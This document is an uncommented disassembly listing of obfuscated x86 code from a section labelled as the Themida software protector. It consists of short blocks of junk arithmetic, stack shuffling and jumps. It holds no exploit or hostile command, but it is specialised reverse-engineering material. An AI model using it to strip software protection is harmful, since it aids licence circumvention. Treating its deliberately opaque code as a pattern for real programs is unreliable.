add dword ptr [esp], 4
pop ecx
push ebp
mov ebp, 4
push edi
jmp loc_590E27
; ---------------------------------------------------------------------------
loc_597F8E: ; CODE XREF: Themida_:005A3703j
pop ebx
jmp loc_5981EF
; ---------------------------------------------------------------------------
loc_597F94: ; CODE XREF: Themida_:0059898Bj
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_597FA7: ; CODE XREF: Themida_:005A5462j
push esi
mov esi, 31893F47h
jmp loc_59C1F1
; ---------------------------------------------------------------------------
loc_597FB2: ; CODE XREF: Themida_:005A27B5j
pop ebp
add ebp, 0AFF8C1B5h
mov edi, ebp
jmp loc_59CC4C
; ---------------------------------------------------------------------------
loc_597FC0: ; CODE XREF: Themida_:005904B4j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push edi
jmp loc_59A0D2
; ---------------------------------------------------------------------------
loc_597FD0: ; CODE XREF: Themida_:0059CBF0j
shr esi, 5
and esi, 22B95AE4h
shr esi, 6
push edi
jmp loc_594911
; ---------------------------------------------------------------------------
loc_597FE2: ; CODE XREF: Themida_:005931F1j
mov [esp], eax
jmp loc_5A4B1A
; ---------------------------------------------------------------------------
loc_597FEA: ; CODE XREF: Themida_:00598824j
push 233Ch
mov [esp], ebx
mov ebx, 347D6EC6h
dec ebx
and ebx, 50F613DCh
push edx
mov edx, 722714AAh
xor ebx, edx
jmp loc_5A3990
; ---------------------------------------------------------------------------
loc_59800B: ; CODE XREF: Themida_:005A00C1j
mov ax, [esp]
push 58ADh
mov [esp], ebx
jmp loc_5919F0
; ---------------------------------------------------------------------------
loc_59801C: ; CODE XREF: Themida_:0059F044j
add esp, 4
movzx ecx, al
jmp loc_5990D8
; ---------------------------------------------------------------------------
loc_598027: ; CODE XREF: Themida_:005A163Dj
add eax, ebp
pop ebp
sub eax, 169749DFh
add eax, 3B06690h
push 51EAh
mov [esp], esi
mov esi, 51490605h
push edi
jmp loc_594490
; ---------------------------------------------------------------------------
loc_598047: ; CODE XREF: Themida_:0059CEE1j
pop ecx
add [esp+8], edx
jmp loc_5916BD
; ---------------------------------------------------------------------------
loc_598051: ; CODE XREF: Themida_:005A1767j
push edi
mov edi, 4
add ebx, edi
pop edi
add ebx, 4
jmp loc_5A49DD
; ---------------------------------------------------------------------------
loc_598065: ; CODE XREF: Themida_:0059BC48j
mov ecx, 395E2B95h
xor ecx, ebx
pop ebx
push edx
jmp loc_597A9C
; ---------------------------------------------------------------------------
loc_598073: ; CODE XREF: Themida_:005A482Fj
add ebp, 0FFFFFFFFh
jmp loc_598E5C
; ---------------------------------------------------------------------------
loc_59807E: ; CODE XREF: Themida_:005A1D25j
pop dword ptr [esp]
jmp loc_5A3CC8
; ---------------------------------------------------------------------------
loc_598086: ; CODE XREF: Themida_:005A52C5j
add [esp+4], eax
pop eax
pop ecx
push eax
mov eax, 11907163h
push 62BCh
mov [esp], ebx
mov ebx, 73A779CAh
dec ebx
xor ebx, 400E4F14h
xor eax, ebx
mov ebx, [esp]
jmp loc_5A52F4
; ---------------------------------------------------------------------------
loc_5980B0: ; CODE XREF: Themida_:005921F4j
sub al, 12h
jmp loc_59C11F
; ---------------------------------------------------------------------------
loc_5980B7: ; CODE XREF: Themida_:005975C5j
add esp, 2
pop small word ptr [esp]
add word ptr [esp], 2
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5980C8: ; CODE XREF: Themida_:005A15F9j
add edi, 4
jmp loc_59B209
; ---------------------------------------------------------------------------
loc_5980D3: ; CODE XREF: Themida_:005A083Bj
not ecx
sub ecx, 337E4FABh
jmp loc_595218
; ---------------------------------------------------------------------------
loc_5980E0: ; CODE XREF: Themida_:005A2C5Ej
sub esp, 4
mov [esp], esi
jmp loc_59E322
; ---------------------------------------------------------------------------
loc_5980EB: ; CODE XREF: Themida_:0059175Fj
xor ebx, 11D35B8Dh
xor ebx, 0E161C2h
add ebx, 0F3363A00h
mov edi, ebx
pop ebx
sub ecx, edi
pop edi
inc ecx
jmp loc_59D0D4
; ---------------------------------------------------------------------------
loc_598109: ; CODE XREF: Themida_:0059C56Fj
mov esi, 4
sub edi, 5F5139E1h
add edi, esi
jmp loc_59D2AC
; ---------------------------------------------------------------------------
loc_59811B: ; CODE XREF: Themida_:005A136Dj
mov edi, 4
add [esp+4], edi
pop edi
jmp loc_591D25
; ---------------------------------------------------------------------------
loc_59812A: ; CODE XREF: Themida_:0059D8F9j
shr ebp, 4
jmp loc_5A0747
; ---------------------------------------------------------------------------
loc_598132: ; CODE XREF: Themida_:005A2558j
push ebx
mov ebx, 628F74FBh
jmp loc_59782B
; ---------------------------------------------------------------------------
loc_59813D: ; CODE XREF: Themida_:005A206Aj
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
sub esp, 4
jmp near ptr word_590496
; ---------------------------------------------------------------------------
loc_598158: ; CODE XREF: Themida_:005935D3j
add esp, 4
sub eax, 2B93DB4h
add ebp, eax
mov eax, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
jmp loc_59F9D1
; ---------------------------------------------------------------------------
loc_598174: ; CODE XREF: Themida_:00594D4Ej
add esp, 4
add esp, 4
jmp loc_59692B
; ---------------------------------------------------------------------------
loc_598182: ; CODE XREF: Themida_:00592035j
add al, 4Eh
sub al, bh
sub al, 4Eh
pop ebx
add al, 45h
sub al, 91h
sub al, dl
add al, 91h
sub al, 45h
sub esp, 2
mov [esp], cx
mov cl, 63h
add al, cl
mov cx, [esp]
jmp loc_5A3A7F
; ---------------------------------------------------------------------------
loc_5981A7: ; CODE XREF: Themida_:005A2A61j
mov cl, dl
sub esp, 4
mov [esp], edx
mov dh, cl
jmp loc_59B1D8
; ---------------------------------------------------------------------------
loc_5981B9: ; CODE XREF: Themida_:00599B1Aj
pop edx
push ebp
push dword ptr [esp+4]
jmp loc_59E420
; ---------------------------------------------------------------------------
loc_5981C4: ; CODE XREF: Themida_:005A3647j
mov edi, 4FA22BC0h
xor [esp+4], edi
pop edi
push dword ptr [esp]
jmp loc_59FD8C
; ---------------------------------------------------------------------------
loc_5981D6: ; CODE XREF: Themida_:00593535j
mov esp, [esp]
jmp loc_598A79
; ---------------------------------------------------------------------------
loc_5981DE: ; CODE XREF: Themida_:0059ABC8j
xor eax, 2D7C1FF8h
push edi
jmp loc_5A48D2
; ---------------------------------------------------------------------------
loc_5981E9: ; CODE XREF: Themida_:0059C0FCj
pop esi
jmp loc_5A2550
; ---------------------------------------------------------------------------
loc_5981EF: ; CODE XREF: Themida_:00597F8Fj
neg esi
jmp loc_5909F2
; ---------------------------------------------------------------------------
loc_5981F6: ; CODE XREF: Themida_:0059A48Dj
add ebx, 6BCE5BC7h
add ebx, edx
push eax
mov eax, 6BCE5BC7h
sub ebx, eax
pop eax
mov edx, [esp]
push esi
mov esi, esp
jmp loc_5934E6
; ---------------------------------------------------------------------------
loc_598212: ; CODE XREF: Themida_:005A5286j
mov esi, 57115534h
add esi, 0A8EEAAD0h
sub edx, esi
pop esi
xchg edx, [esp]
mov esp, [esp]
jmp loc_5942A8
; ---------------------------------------------------------------------------
loc_59822B: ; CODE XREF: Themida_:00593E0Ej
mov ebp, 30714347h
not ebp
jmp loc_59DE21
; ---------------------------------------------------------------------------
loc_598237: ; CODE XREF: Themida_:00590C9Aj
push edi
jmp loc_597D8F
; ---------------------------------------------------------------------------
loc_59823D: ; CODE XREF: Themida_:005A1CF5j
push dword ptr [esp]
mov esi, [esp]
jmp loc_5A21ED
; ---------------------------------------------------------------------------
loc_598248: ; CODE XREF: Themida_:005A151Ej
xor eax, [esp]
xor [esp], eax
jmp loc_590544
; ---------------------------------------------------------------------------
loc_598253: ; CODE XREF: Themida_:005A54B0j
xor eax, [esp]
jmp loc_597E1D
; ---------------------------------------------------------------------------
loc_59825B: ; CODE XREF: Themida_:00595E08j
push edx
jmp loc_59D5F6
; ---------------------------------------------------------------------------
loc_598261: ; CODE XREF: Themida_:0059B380j
mov [esp], ecx
mov ch, 27h
shr ch, 1
xor ch, 0E2h
jmp loc_595049
; ---------------------------------------------------------------------------
loc_598270: ; CODE XREF: Themida_:00595ABAj
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59DB03
; ---------------------------------------------------------------------------
loc_598286: ; CODE XREF: Themida_:00597A37j
shl ecx, 5
push ebp
mov ebp, 0F9F578CEh
sub ecx, ebp
pop ebp
xor edx, ecx
pop ecx
jmp loc_5A0189
; ---------------------------------------------------------------------------
loc_59829A: ; CODE XREF: Themida_:005A1F5Ej
xor eax, [esp]
mov esp, [esp]
add esp, 4
push edi
mov edi, 78533F6Dh
inc edi
add edi, 3A3F1936h
add edi, 4BB96C46h
xor edi, 0B1E9EF2Ah
xor eax, edi
mov edi, [esp]
add esp, 4
mov esi, [esp]
add esp, 4
shl eax, cl
jmp loc_59B2C5
; ---------------------------------------------------------------------------
loc_5982D4: ; CODE XREF: Themida_:005A5147j
mov eax, [esp]
add esp, 4
push 3E42h
mov [esp], edx
mov dl, 67h
jmp loc_5957D9
; ---------------------------------------------------------------------------
loc_5982E9: ; CODE XREF: Themida_:0059D9C8j
xchg edx, [esp]
jmp loc_590D50
; ---------------------------------------------------------------------------
loc_5982F1: ; CODE XREF: Themida_:0059F7C4j
pop ebp
add ebp, 5C873FBDh
add ebp, 0B5B0A7D1h
mov ecx, ebp
pop ebp
jmp loc_5A4722
; ---------------------------------------------------------------------------
loc_598306: ; CODE XREF: Themida_:0059F8F8j
mov esp, [esp]
or ecx, ecx
jz loc_591A19
push esp
push dword ptr [esp]
push dword ptr [esp]
pop esi
jmp loc_5A3762
; ---------------------------------------------------------------------------
loc_59831E: ; CODE XREF: Themida_:005A3B56j
pop ebx
add esi, 4
xchg esi, [esp]
mov esp, [esp]
mov dword ptr [edx+30h], 466649C0h
push ebx
jmp loc_590EB4
; ---------------------------------------------------------------------------
loc_598338: ; CODE XREF: Themida_:005A4432j
xchg esi, [esp]
jmp loc_59C358
; ---------------------------------------------------------------------------
loc_598340: ; CODE XREF: Themida_:0059BA28j
add esp, 4
mov bh, ah
mov eax, [esp]
add esp, 4
mov cx, [esp]
add esp, 2
xor bh, al
xor al, bh
xor bh, al
push ebx
mov bh, 0CAh
shr bh, 5
sub bh, 0C6h
dec bh
dec bh
shr bh, 2
jmp loc_59B358
; ---------------------------------------------------------------------------
loc_59836D: ; CODE XREF: Themida_:00594672j
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_5A11CB
; ---------------------------------------------------------------------------
loc_598383: ; CODE XREF: Themida_:005906F1j
pop ebx
pop ebp
push 546Ch
mov [esp], ecx
push edi
push ecx
mov ecx, 6B7A7A00h
mov edi, ecx
jmp loc_5A0840
; ---------------------------------------------------------------------------
loc_59839B: ; CODE XREF: Themida_:005A2EC8j
add esp, 4
push 712Ch
mov [esp], edx
sub esp, 4
mov [esp], eax
push ebx
push 40151CF2h
pop ebx
xchg edi, ebx
jmp loc_59BB2E
; ---------------------------------------------------------------------------
loc_5983BD: ; CODE XREF: Themida_:005A244Dj
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_594D59
; ---------------------------------------------------------------------------
loc_5983CE: ; CODE XREF: Themida_:0059D648j
pop eax
jmp loc_5A4C49
; ---------------------------------------------------------------------------
loc_5983D4: ; CODE XREF: Themida_:0059E412j
and ebp, 3733145Fh
add ebp, 0CF000D0Eh
mov edx, ebp
pop ebp
inc edx
shl edx, 7
jmp loc_59E6DC
; ---------------------------------------------------------------------------
loc_5983EC: ; CODE XREF: Themida_:0059E1E9j
mov esp, [esp]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5983F4: ; CODE XREF: Themida_:005907D7j
dec edx
not edx
shr edx, 2
add edx, 0DD064F09h
add ebx, edx
pop edx
push esi
mov esi, 267964C9h
not esi
jmp loc_59DB8A
; ---------------------------------------------------------------------------
loc_598410: ; CODE XREF: Themida_:0059EBBDj
add esp, 4
jmp loc_59A12C
; ---------------------------------------------------------------------------
loc_59841B: ; CODE XREF: Themida_:0059E57Bj
shl esi, 6
push ebx
mov ebx, 38904290h
and esi, ebx
jmp loc_59BB5D
; ---------------------------------------------------------------------------
loc_59842B: ; CODE XREF: Themida_:00599448j
shl esi, 8
add esi, 24B26704h
push esi
jmp loc_590681
; ---------------------------------------------------------------------------
loc_59843A: ; CODE XREF: Themida_:005A1802j
xchg edx, [esp]
pop esp
mov [esp], ebp
push esi
jmp loc_59BCD9
; ---------------------------------------------------------------------------
loc_598447: ; CODE XREF: Themida_:00594889j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59416E
; ---------------------------------------------------------------------------
loc_598455: ; CODE XREF: Themida_:00599AB1j
add ecx, 82DFA862h
add ebx, ecx
jmp loc_5A08A8
; ---------------------------------------------------------------------------
loc_598462: ; CODE XREF: Themida_:0059F43Cj
sub ebx, 302B61B4h
pop ecx
sub edx, ebx
pop ebx
jmp loc_5A480F
; ---------------------------------------------------------------------------
loc_598471: ; CODE XREF: Themida_:00597328j
push edx
jmp loc_59A7A1
; ---------------------------------------------------------------------------
loc_598477: ; CODE XREF: Themida_:005991E5j
mov eax, 3C7B6DA6h
sub esi, eax
pop eax
jmp loc_5A3C7B
; ---------------------------------------------------------------------------
loc_598484: ; CODE XREF: Themida_:00590A61j
mov [esp], ebx
mov ebx, 2A047178h
push edx
jmp loc_5A0DE1
; ---------------------------------------------------------------------------
loc_598492: ; CODE XREF: Themida_:005A293Ej
or edi, ebx
jmp loc_5A4A0B
; ---------------------------------------------------------------------------
loc_598499: ; CODE XREF: Themida_:0059D889j
or esi, ebp
pop ebp
sub esi, 682E4FC5h
or esi, 50D35888h
xor esi, 0D0D6FA37h
add ecx, esi
pop esi
push ebp
push 9F9C2889h
pop ebp
add ecx, ebp
pop ebp
sub eax, ecx
pop ecx
sub eax, 0C563B5D7h
add ebx, eax
mov eax, [esp]
jmp loc_5A1D04
; ---------------------------------------------------------------------------
loc_5984CD: ; CODE XREF: Themida_:005A1780j
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_59098B
; ---------------------------------------------------------------------------
loc_5984E1: ; CODE XREF: Themida_:00599DD4j
inc eax
jmp loc_594229
; ---------------------------------------------------------------------------
loc_5984E7: ; CODE XREF: Themida_:005A4BBEj
and ecx, 1CCC4D9Ch
push edi
mov edi, 78D719B8h
add ecx, edi
pop edi
dec ecx
xor ecx, 911F1DB3h
add edx, ecx
pop ecx
jmp loc_597949
; ---------------------------------------------------------------------------
loc_598505: ; CODE XREF: Themida_:005A0EFBj
sub ebp, 0CEAAD356h
add esi, ebp
jmp loc_593353
; ---------------------------------------------------------------------------
loc_598512: ; CODE XREF: Themida_:00597A68j
mov [esp], ebp
add dword ptr [esp], 2D3E3B5Ah
mov esi, [esp]
jmp loc_599AEE
; ---------------------------------------------------------------------------
loc_598524: ; CODE XREF: Themida_:0059DEC1j
or bh, 8Ch
not bh
xor bh, 0CFh
jmp loc_59E7F0
; ---------------------------------------------------------------------------
loc_598531: ; CODE XREF: Themida_:00596E7Aj
push edi
mov edi, 4
add ecx, edi
pop edi
add ecx, 4
jmp loc_5A071D
; ---------------------------------------------------------------------------
loc_598545: ; CODE XREF: Themida_:005A20DBj
inc dword ptr [esp]
pop esi
add esi, 0DA46D300h
and eax, esi
push dword ptr [esp]
mov esi, [esp]
push 64B4h
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 2779524Fh
jmp loc_5A50D1
; ---------------------------------------------------------------------------
loc_598574: ; CODE XREF: Themida_:005A17C6j
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
jmp loc_59D711
; ---------------------------------------------------------------------------
loc_598587: ; CODE XREF: Themida_:0059150Dj
xor dl, ah
mov ax, [esp]
add esp, 2
shl dl, 3
jmp loc_5A27BA
; ---------------------------------------------------------------------------
loc_598598: ; CODE XREF: Themida_:005936E3j
push eax
jmp loc_5A49F3
; ---------------------------------------------------------------------------
loc_59859E: ; CODE XREF: Themida_:005A4414j
pop esp
mov [esp], esi
push 725Eh
jmp loc_59D04B
; ---------------------------------------------------------------------------
loc_5985AC: ; CODE XREF: Themida_:00594A11j
mov [esp], edx
push 7D22h
mov [esp], eax
push dword ptr [esp]
pop edx
push ecx
push 704h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
jmp loc_5A492E
; ---------------------------------------------------------------------------
loc_5985D4: ; CODE XREF: Themida_:005932ACj
pop eax
mov esi, [esp]
add esp, 4
jmp loc_591F2F
; ---------------------------------------------------------------------------
loc_5985E0: ; CODE XREF: Themida_:00591142j
neg esi
xchg esi, ebx
sub ebx, 48F36340h
sub edi, 9467BA8h
add edi, ebx
sub esp, 4
jmp loc_5A1B92
; ---------------------------------------------------------------------------
loc_5985FD: ; CODE XREF: Themida_:00596085j
sub eax, ecx
jmp loc_590919
; ---------------------------------------------------------------------------
loc_598604: ; CODE XREF: Themida_:005A1A80j
pop edx
add edi, ebx
mov ebx, [esp]
add esp, 4
push 590Ah
mov [esp], ecx
push 4
mov ecx, [esp]
add esp, 4
add edi, ecx
pop ecx
jmp loc_5A3487
; ---------------------------------------------------------------------------
loc_59862B: ; CODE XREF: Themida_:005A26B9j
mov esi, [esp]
add esp, 4
xor edi, 0AEF68BB8h
push edi
jmp loc_598B69
; ---------------------------------------------------------------------------
loc_59863D: ; CODE XREF: Themida_:0059D12Dj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5A2965
; ---------------------------------------------------------------------------
loc_598651: ; CODE XREF: Themida_:0059186Cj
mov esp, [esp]
sub [edi+24h], ecx
pop ecx
loc_598658: ; CODE XREF: Themida_:005A298Ej
sub esp, 4
mov [esp], ebx
push eax
push ecx
push 316C3EE2h
pop ecx
or ecx, 45F13670h
push 0
jmp loc_5A5389
; ---------------------------------------------------------------------------
loc_598676: ; CODE XREF: Themida_:00594310j
add ebx, ebp
pop ebp
push eax
push 3FA63A2Fh
pop eax
xor eax, 5144E5E0h
add ebx, eax
pop eax
mov edi, ebx
pop ebx
xor edi, 147F85h
jmp loc_594C29
; ---------------------------------------------------------------------------
loc_598696: ; CODE XREF: Themida_:005A0583j
movzx eax, al
push dword ptr [edi+eax*4]
sub esp, 4
jmp loc_5A2C02
; ---------------------------------------------------------------------------
push 1981h
mov [esp], edx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5986B1: ; CODE XREF: Themida_:0059A54Ej
sub esi, 0FFFFFFFFh
shr esi, 6
jmp loc_5930AB
; ---------------------------------------------------------------------------
loc_5986BF: ; CODE XREF: Themida_:0059B80Ej
sub ebp, ecx
pop ecx
jmp loc_59E40C
; ---------------------------------------------------------------------------
loc_5986C7: ; CODE XREF: Themida_:005A524Bj
pop ebp
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 49917005h
add ecx, 5F242073h
dec ecx
sub ecx, 0FFFFFFFFh
jmp loc_59F27A
; ---------------------------------------------------------------------------
loc_5986E6: ; CODE XREF: Themida_:0059D282j
mov esi, 3BE86D93h
neg esi
dec esi
shr esi, 3
or esi, 512F1A4Fh
sub esi, 556EA44Fh
sub ebx, esi
pop esi
jmp loc_59B777
; ---------------------------------------------------------------------------
loc_598705: ; CODE XREF: Themida_:0059F0E6j
push small 3C71h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_59DB46
; ---------------------------------------------------------------------------
loc_598719: ; CODE XREF: Themida_:0059ED91j
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, esp
sub esp, 4
jmp loc_5A4F74
; ---------------------------------------------------------------------------
loc_59872F: ; CODE XREF: Themida_:0059E4A0j
sub ecx, 4
xchg ecx, [esp]
jmp loc_5A209F
; ---------------------------------------------------------------------------
loc_59873D: ; CODE XREF: Themida_:005A2562j
add esp, 4
push ecx
mov ecx, 2695167Ah
push esi
mov esi, 1
sub ecx, esi
pop esi
sub esp, 4
jmp loc_590414
; ---------------------------------------------------------------------------
loc_59875D: ; CODE XREF: Themida_:0059EA3Cj
add eax, 4
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp]
pop esp
push eax
jmp loc_59C9AD
; ---------------------------------------------------------------------------
loc_598775: ; CODE XREF: Themida_:0059EA5Ej
pop edi
jmp loc_598953
; ---------------------------------------------------------------------------
loc_59877B: ; CODE XREF: Themida_:005A276Cj
add ebp, esi
pop esi
push ebx
mov ebx, 748C6DDFh
not ebx
jmp loc_59B89F
; ---------------------------------------------------------------------------
loc_59878B: ; CODE XREF: Themida_:005969C2j
mov ecx, [esp]
add esp, 4
push 4491h
jmp loc_5936E8
; ---------------------------------------------------------------------------
loc_59879B: ; CODE XREF: Themida_:005A5441j
mov eax, ebp
pop ebp
not eax
xor eax, 0C35DE310h
sub ebp, 5AA76262h
jmp loc_59B907
; ---------------------------------------------------------------------------
loc_5987B0: ; CODE XREF: Themida_:0059A79Cj
add ecx, 3117316Ch
mov eax, [esp]
add esp, 4
push 3752h
mov [esp], eax
sub esp, 4
mov [esp], edi
push 88430EAh
pop edi
or edi, 44AC5A88h
jmp loc_5A2D8F
; ---------------------------------------------------------------------------
loc_5987DE: ; CODE XREF: Themida_:00593E45j
mov ebx, [esp]
jmp loc_59E3DD
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5987EE: ; CODE XREF: Themida_:00599DB9j
add edx, 8E0202D5h
add eax, edx
pop edx
add eax, 4
xchg eax, [esp]
mov esp, [esp]
and [esp], eax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_598809: ; CODE XREF: Themida_:0059CAEFj
mov [esp], edi
mov edi, 868B3C1h
push esi
jmp loc_5930E5
; ---------------------------------------------------------------------------
loc_598817: ; CODE XREF: Themida_:005998DEj
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push eax
jmp loc_597FEA
; ---------------------------------------------------------------------------
loc_598829: ; CODE XREF: Themida_:00597B38j
push 6BE4h
mov [esp], ebp
not dword ptr [esp]
pop ebp
add ebp, 5D573EA1h
mov ecx, ebp
pop ebp
neg ecx
push eax
mov eax, 5C385A15h
jmp loc_5932B1
; ---------------------------------------------------------------------------
push 4DC2h
mov [esp], esp
sub esp, 4
mov [esp], edx
push ecx
push 1E94h
jmp loc_598FEC
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push ebx
push esp
pop ebx
push ecx
jmp loc_593504
; ---------------------------------------------------------------------------
loc_598875: ; CODE XREF: Themida_:005927E0j
mov eax, [esp]
add esp, 4
sub ebx, 1
push eax
mov eax, 0
jmp loc_5A28A0
; ---------------------------------------------------------------------------
loc_598889: ; CODE XREF: Themida_:0059E9B1j
xchg ebp, [esp]
pop esp
test cl, al
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_598895: ; CODE XREF: Themida_:0059EB1Fj
sub dl, 0
add dl, bl
add dl, 0
pop bx
sub dl, 0D5h
sub dl, 0BDh
xor ch, dl
pop edx
jmp loc_59683C
; ---------------------------------------------------------------------------
loc_5988AD: ; CODE XREF: Themida_:0059B306j
sub edi, 744C0E65h
add edi, 302867ECh
add edi, esi
push eax
mov eax, 5B0D3A74h
inc eax
inc eax
inc eax
shr eax, 7
add eax, 6A367D52h
sub eax, 3AC42FDAh
sub edi, eax
jmp loc_5937E9
; ---------------------------------------------------------------------------
loc_5988D8: ; CODE XREF: Themida_:0059F48Cj
mov esp, [esp]
jmp loc_591FF6
; ---------------------------------------------------------------------------
loc_5988E0: ; CODE XREF: Themida_:00592B92j
push edi
mov edi, 7DCF11C3h
inc edi
jmp loc_5910F4
; ---------------------------------------------------------------------------
loc_5988EC: ; CODE XREF: Themida_:005907C5j
mov eax, [esp]
push 77AEh
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
push edx
jmp loc_591B7D
; ---------------------------------------------------------------------------
loc_598908: ; CODE XREF: Themida_:005A2958j
pop esi
sub esp, 4
jmp loc_598C05
; ---------------------------------------------------------------------------
loc_598914: ; CODE XREF: Themida_:005965BAj
or edx, 4C947BEDh
jmp loc_5A28DC
; ---------------------------------------------------------------------------
loc_59891F: ; CODE XREF: Themida_:0059D246j
pop ebp
push 683Dh
mov [esp], edx
push ebp
mov ebp, 2B784D60h
shl ebp, 4
jmp loc_599DBE
; ---------------------------------------------------------------------------
loc_598936: ; CODE XREF: Themida_:0059034Ej
push small 38FEh
jmp loc_592D14
; ---------------------------------------------------------------------------
loc_59893F: ; CODE XREF: Themida_:00598CE1j
mov ecx, [esp]
add esp, 4
xor ebx, 0E9F1FB4Ch
jmp loc_59FDF6
; ---------------------------------------------------------------------------
loc_598953: ; CODE XREF: Themida_:00598776j
xor ebp, ebx
mov ebx, [esp]
add esp, 4
add ecx, ebp
jmp loc_59FB7C
; ---------------------------------------------------------------------------
loc_598962: ; CODE XREF: Themida_:00594AFBj
mov edx, [esp]
add esp, 4
jmp loc_592E34
; ---------------------------------------------------------------------------
loc_598970: ; CODE XREF: Themida_:0059D98Dj
neg ecx
or ecx, 5F99620Dh
xor ecx, 0EF4F8041h
mov edi, ecx
pop ecx
jmp loc_5A2F58
; ---------------------------------------------------------------------------
loc_598986: ; CODE XREF: Themida_:005905A1j
push edx
push dword ptr [esp+4]
jmp loc_597F94
; ---------------------------------------------------------------------------
loc_598990: ; CODE XREF: Themida_:0059EDA0j
mov ecx, 24h
add ecx, edi
push eax
jmp loc_590DDF
; ---------------------------------------------------------------------------
loc_59899D: ; CODE XREF: Themida_:005959D8j
xor edi, 12168CE0h
jmp loc_59338C
; ---------------------------------------------------------------------------
loc_5989A8: ; CODE XREF: Themida_:0059E6CBj
push 73B8h
mov [esp], ebx
jmp loc_5A2A59
; ---------------------------------------------------------------------------
loc_5989B5: ; CODE XREF: Themida_:00597B5Cj
mov edi, esp
add edi, 4
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], eax
mov eax, 68902EBBh
xor eax, 68902EBFh
mov edx, eax
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_593755
; ---------------------------------------------------------------------------
loc_5989EA: ; CODE XREF: Themida_:0059448Bj
mov esi, [esp]
add esp, 4
push 5531h
mov [esp], ebp
mov ebp, 6AA43B41h
sub [esp+0Ch], ebp
pop ebp
jmp loc_5954FB
; ---------------------------------------------------------------------------
loc_598A07: ; CODE XREF: Themida_:005A5378j
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
jmp loc_5A4854
; ---------------------------------------------------------------------------
loc_598A19: ; CODE XREF: Themida_:005997E9j
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
push edx
jmp loc_59F180
; ---------------------------------------------------------------------------
loc_598A29: ; CODE XREF: Themida_:005A27D4j
sub edx, 97B6D3Eh
inc edx
add edx, 5E2F7325h
push edi
jmp loc_59F6D1
; ---------------------------------------------------------------------------
loc_598A3C: ; CODE XREF: Themida_:005A0344j
add esp, 4
add eax, 4
xchg eax, [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], ecx
mov edx, [esp]
add esp, 4
jmp loc_59E08A
; ---------------------------------------------------------------------------
loc_598A6F: ; CODE XREF: Themida_:005A2A07j
pop edi
pop dword ptr [esp]
pop esp
jmp loc_5A2097
; ---------------------------------------------------------------------------
loc_598A79: ; CODE XREF: Themida_:005981D9j
bt [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_598A84: ; CODE XREF: Themida_:005A4670j
mov [esp], eax
mov eax, 0
sub eax, 528D4177h
add eax, ebx
jmp loc_5A15C3
; ---------------------------------------------------------------------------
loc_598A98: ; CODE XREF: Themida_:005A49D8j
mov bh, dl
jmp loc_5A1523
; ---------------------------------------------------------------------------
loc_598A9F: ; CODE XREF: Themida_:005A25E4j
push edi
mov edi, 16810ED4h
add ebp, edi
pop edi
push 596Eh
mov [esp], edx
mov edx, 6DC15ABBh
jmp loc_59A735
; ---------------------------------------------------------------------------
loc_598ABA: ; CODE XREF: Themida_:0059460Fj
mov ebx, 46DC420Ah
push edx
jmp loc_5A3D3A
; ---------------------------------------------------------------------------
loc_598AC5: ; CODE XREF: Themida_:005969EBj
mov ebx, 642D49C6h
jmp loc_597D12
; ---------------------------------------------------------------------------
loc_598ACF: ; CODE XREF: Themida_:0059A94Fj
pop esp
mov ax, [esp]
push ebp
mov ebp, esp
push edx
mov edx, 4
add ebp, edx
pop edx
sub ebp, 4
jmp loc_5A08D2
; ---------------------------------------------------------------------------
loc_598AE8: ; CODE XREF: Themida_:005A2543j
add esi, ebx
pop ebx
push 0B20h
mov [esp], ebp
mov ebp, 6A9E2E89h
shr ebp, 2
jmp loc_594D53
; ---------------------------------------------------------------------------
loc_598B00: ; CODE XREF: Themida_:00596C83j
push ebp
mov ebp, 42756CE2h
neg ebp
push edi
mov edi, 3A30545Dh
xor edi, 9865BF15h
add ebp, edi
jmp loc_593B06
; ---------------------------------------------------------------------------
loc_598B1B: ; CODE XREF: Themida_:0059510Dj
add al, dl
mov edx, [esp]
jmp loc_593A34
; ---------------------------------------------------------------------------
loc_598B25: ; CODE XREF: Themida_:00598E31j
push esp
pop ecx
jmp loc_5998F1
; ---------------------------------------------------------------------------
loc_598B2C: ; CODE XREF: Themida_:005936D2j
add esp, 4
add ebx, 4
push edi
jmp loc_59C663
; ---------------------------------------------------------------------------
loc_598B3E: ; CODE XREF: Themida_:00594624j
add bl, dl
pop edx
jmp loc_595916
; ---------------------------------------------------------------------------
